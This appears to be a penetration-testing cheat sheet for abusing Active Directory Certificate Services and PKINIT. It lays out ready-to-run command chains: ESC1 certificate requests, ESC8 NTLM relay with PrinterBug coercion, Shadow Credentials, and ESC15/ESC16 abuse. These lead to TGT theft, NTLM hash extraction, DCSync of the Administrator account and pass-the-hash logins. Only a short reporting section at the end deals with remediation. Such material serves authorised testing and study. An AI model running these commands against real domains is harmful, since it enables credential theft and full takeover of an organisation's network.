🛡️ Methodology Checklist

  • Identify ADCS CA: certutil -config - -ping
  • Enumerate templates: certipy find -u [USER] -p [PASS] -dc-ip [DC_IP] -vulnerable
  • Identify ESC1 (SAN in template) or other ESC misconfigurations
  • Request cert with alt SAN: certipy req -u [USER] -p [PASS] -ca [CA] -template [TEMPLATE] -upn [TARGET_USER]@[DOMAIN]
  • Authenticate with cert: certipy auth -pfx [cert.pfx] -dc-ip [DC_IP]
  • Use returned NT hash for PtH or DCSync

🎯 Operational Context

Use when: AD Certificate Services (ADCS) is deployed and a certificate has been obtained for a user or computer — use PKINIT to get a TGT without knowing the password. Think Dumber First: If ESC1 (enrollee can supply subject), request cert for DA: certipy req -u [USER]@[DOMAIN] -p [PASS] -ca [CA] -template [VULN_TEMPLATE] -upn [DA_USER]@[DOMAIN]. Then certipy auth -pfx [DA_CERT].pfx -dc-ip [DC] for TGT and NTLM hash. Skip when: No ADCS deployed or no vulnerable certificate template available.


⚡ Tactical Cheatsheet

CommandTactical Outcome
impacket-ntlmrelayx -t http://[CA_IP]/certsrv/certfnsh.asp --adcs -smb2support --template KerberosAuthenticationRelay DC auth to CA web enrollment (ESC8)
python3 printerbug.py [DOMAIN]/[USER]:[PASS]@[DC_IP] [LHOST]Coerce DC authentication via PrinterBug
git clone https://github.com/dirkjanm/PKINITtools.git && pip3 install -r requirements.txtInstall PKINITtools
python3 gettgtpkinit.py -cert-pfx DC01$.pfx -dc-ip [DC_IP] [DOMAIN]/DC01$ /tmp/dc01.ccacheConvert .pfx certificate to Kerberos TGT
export KRB5CCNAME=/tmp/dc01.ccache && klistActivate and verify certificate-derived ticket
python3 secretsdump.py -k -no-pass [DOMAIN]/DC01$@[DC_HOSTNAME] -just-dc-user AdministratorDCSync using DC machine account ticket
pywhisker --dc-ip [DC_IP] -d [DOMAIN] -u [USER] -p [PASS] --target [TARGET_USER] --action addShadow Credentials: inject certificate into target account
python3 gettgtpkinit.py -cert-pfx [FILE].pfx -pfx-pass [PFX_PASS] -dc-ip [DC_IP] [DOMAIN]/[TARGET_USER] /tmp/target.ccacheGet TGT using shadow credentials certificate
python3 getnthash.py -key [AS_REP_KEY] -dc-ip [DC_IP] [DOMAIN]/[TARGET_USER]Extract NTLM hash from certificate authentication session
evil-winrm -i [TARGET_IP] -u [TARGET_USER] -H [NTLM_HASH]Login with extracted hash
sudo ntpdate [DC_IP]Fix clock skew (Kerberos clock tolerance is 5 min)

🔬 Deep Dive & Workflow

PKINIT — Certificate-Based Kerberos Auth

PKINIT (Public Key Cryptography for Initial Authentication) allows Kerberos TGT requests using X.509 certificates instead of passwords. Normally used for smart card authentication. Attackers abuse it with stolen or forged certificates.

Attack Path 1 — AD CS ESC8 Relay (DC Compromise)

Goal: Force DC to authenticate to attacker → relay to CA → receive certificate for the DC machine account → DCSync

ntlmrelayx ← relay target (CA web enrollment)
PrinterBug → coerce DC01 to authenticate to attacker
→ ntlmrelayx receives DC01$ credentials
→ enrolls DC01$.pfx certificate from CA
# Step 1: Start relay listener
impacket-ntlmrelayx -t http://[CA_IP]/certsrv/certfnsh.asp --adcs -smb2support --template KerberosAuthentication
 
# Step 2: Coerce DC authentication
python3 printerbug.py [DOMAIN]/[USER]:[PASS]@[DC_IP] [LHOST]
 
# Step 3: Convert cert to TGT
python3 gettgtpkinit.py -cert-pfx DC01$.pfx -dc-ip [DC_IP] [DOMAIN]/DC01$ /tmp/dc01.ccache
 
# Step 4: DCSync
export KRB5CCNAME=/tmp/dc01.ccache
python3 secretsdump.py -k -no-pass [DOMAIN]/DC01$@[DC01].[DOMAIN] -just-dc-user Administrator

Identity matters: DC machine account (DC01$) gives replication rights → DCSync. User certs give only user-level access.

Attack Path 2 — Shadow Credentials (Write Permission Required)

Goal: If you have AddKeyCredentialLink write permission on a target user object, inject your own certificate.

# 1. Inject certificate (save the PFX filename and password from output)
pywhisker --dc-ip [DC_IP] -d [DOMAIN] -u [USER] -p [PASS] --target [TARGET_USER] --action add
 
# 2. Get TGT as target
python3 gettgtpkinit.py -cert-pfx [FILE].pfx -pfx-pass [PFX_PASS] -dc-ip [DC_IP] [DOMAIN]/[TARGET_USER] /tmp/target.ccache
 
# 3. Extract NTLM from session key (look for "AS-REP encryption key" in gettgtpkinit output)
python3 getnthash.py -key [AS_REP_KEY] -dc-ip [DC_IP] [DOMAIN]/[TARGET_USER]
 
# 4. Use hash directly (avoids Kerberos DNS requirements)
evil-winrm -i [TARGET_IP] -u [TARGET_USER] -H [NTLM_HASH]

Attack Path 3 — ESC16 (Security Extension Disabled, CA-wide)

Goal: Exploit a CA-level misconfig (NOT per-template). When the CA does not embed the SID security extension (szOID_NTDS_CA_SECURITY_EXT) into issued certificates, strong certificate mapping is bypassable for any client-auth template — so the SID is never validated against the SAN/UPN at authentication time.

The flow: temporarily point a controlled account’s UPN at the target, enroll a cert off any client-auth template, then restore the UPN before authenticating.

# 1. Hijack the controlled account's UPN to the target (DESTRUCTIVE — see gotcha)
certipy account update -username [CONTROLLED]@[DOMAIN] -p [PASS] -dc-ip [DC_IP] -upn administrator@[DOMAIN]
 
# 2. Request a cert off ANY client-auth template as the controlled account
certipy req -u [CONTROLLED]@[DOMAIN] -p [PASS] -dc-ip [DC_IP] -ca [CA] -template [ANY_CLIENT_AUTH_TEMPLATE]
 
# 3. Restore the original UPN IMMEDIATELY (do not skip — breaks the account's normal auth)
certipy account update -username [CONTROLLED]@[DOMAIN] -p [PASS] -dc-ip [DC_IP] -upn [CONTROLLED]@[DOMAIN]
 
# 4. PKINIT as the target — the disabled SID extension means the cert maps to administrator
certipy auth -pfx administrator.pfx -dc-ip [DC_IP]

GOTCHA — destructive UPN swap: Step 1 overwrites the controlled account’s UPN, which breaks its normal logon for as long as it points at the target. Restore the UPN (Step 3) the instant the cert is issued, before authenticating. Treat Steps 1–3 as one atomic block.

Windows equivalent: certipy.exe mirrors the same account update / req / auth subcommands from a Windows foothold; certipy (Linux) is the canonical path here.

Attack Path 4 — ESC15 (Schema-v1 template + application policies injection, EKUwu)

Goal: Abuse a Schema Version 1 template that allows the enrollee to supply the subject. Schema-v1 templates honour caller-supplied application policies, so inject a Client Authentication application policy to make an otherwise-non-auth cert usable for PKINIT — even when the listed EKU wouldn’t normally permit it.

Identify: template with Schema Version 1 + Enrollee Supplies Subject + a client/server-auth EKU. Flagged as ESC15 in certipy find.

# 1. Request, supplying both the target identity (UPN + SID) and an injected client-auth application policy
certipy req -u [USER]@[DOMAIN] -p [PASS] -dc-ip [DC_IP] -ca [CA] -template [TEMPLATE] \
  -upn [TARGET]@[DOMAIN] -sid [TARGET_SID] -application-policies 'Client Authentication'
 
# 2. Authenticate as the target
certipy auth -pfx [TARGET].pfx -dc-ip [DC_IP]

Windows equivalent: certipy.exe req ... -application-policies 'Client Authentication' — same workflow from a Windows foothold; certipy (Linux) remains the canonical path.

Troubleshooting

ErrorFix
KDC_ERR_WRONG_REALMCheck domain spelling — .LOCAL vs .HTB
Name or service not knownAdd DC hostname to /etc/hosts
Connection refused on port 88Wrong IP — port 88 is on DC, not CA
Clock skew too greatsudo ntpdate [DC_IP] — must be within 5 min

🛠️ Troubleshooting & Edge Cases

ProblemCauseFix
certipy not installedMissing toolInstall: pip3 install certipy-ad; use certipy-ad command after install
Certificate enrollment failsTemplate not allowing enrollmentCheck template permissions: certipy find -u [USER]@[DOMAIN] -p [PASS] -dc-ip [DC] -vulnerable
PKINIT fails with KDC errorPKINIT not configured on DCVerify: DCs must have PKINIT enabled and DC cert issued; some labs lack this
pfx auth returns errorWrong DC IP or clock skewSync time; use primary DC IP; add -domain [DOMAIN] explicitly
Shadow credentials attack alternativeNo vulnerable templateIf GenericWrite on target: certipy shadow auto -u [USER]@[DOMAIN] -p [PASS] -account [TARGET]
certipy find -vulnerable shows no vulnerable templatesESC16 is a CA-wide setting, not per-template — -vulnerable template output does not cover itRead the CA-level output for ESC16 / “Security Extension Disabled” before ruling out ADCS escalation. (ESC15 does surface per-template, flagged ESC15.)
Orphaned / unresolved SID in a template’s enrollment ACLThe principal holding enrollment rights was deleted (tombstoned)High-value clue, not a dead end. Map the SID to the tombstoned object: Get-ADObject -IncludeDeletedObjects -Filter * | Where-Object objectSid -eq [ORPHAN_SID], then restore it to recover its enrollment rights. A GenericAll over an “empty” OU is still useful when a deleted object’s lastKnownParent points back to it.
Restored principal disappears again mid-attackA scheduled cleanup task re-purges restored/tombstoned objectsRun restore → password reset → certificate request in ONE fast pass with no pauses; do not stop to verify between steps.

📝 Reporting Trigger

Finding Title: ADCS Vulnerable Certificate Template Enables Domain Privilege Escalation Impact: Misconfigured certificate template (ESC1-ESC8) allows requesting a certificate for any domain account including Domain Admin, enabling PKINIT authentication as that account and full domain compromise without password knowledge. Root Cause: Active Directory Certificate Services template misconfiguration allows certificate subject override or unrestricted enrollment by standard users. Recommendation: Run Certipy or PSPKIAudit against all ADCS deployments to identify vulnerable templates. Disable Manager Approval Issuance on vulnerable templates. Restrict enrollment permissions. Monitor for unusual certificate enrollment patterns via ADCS audit logs.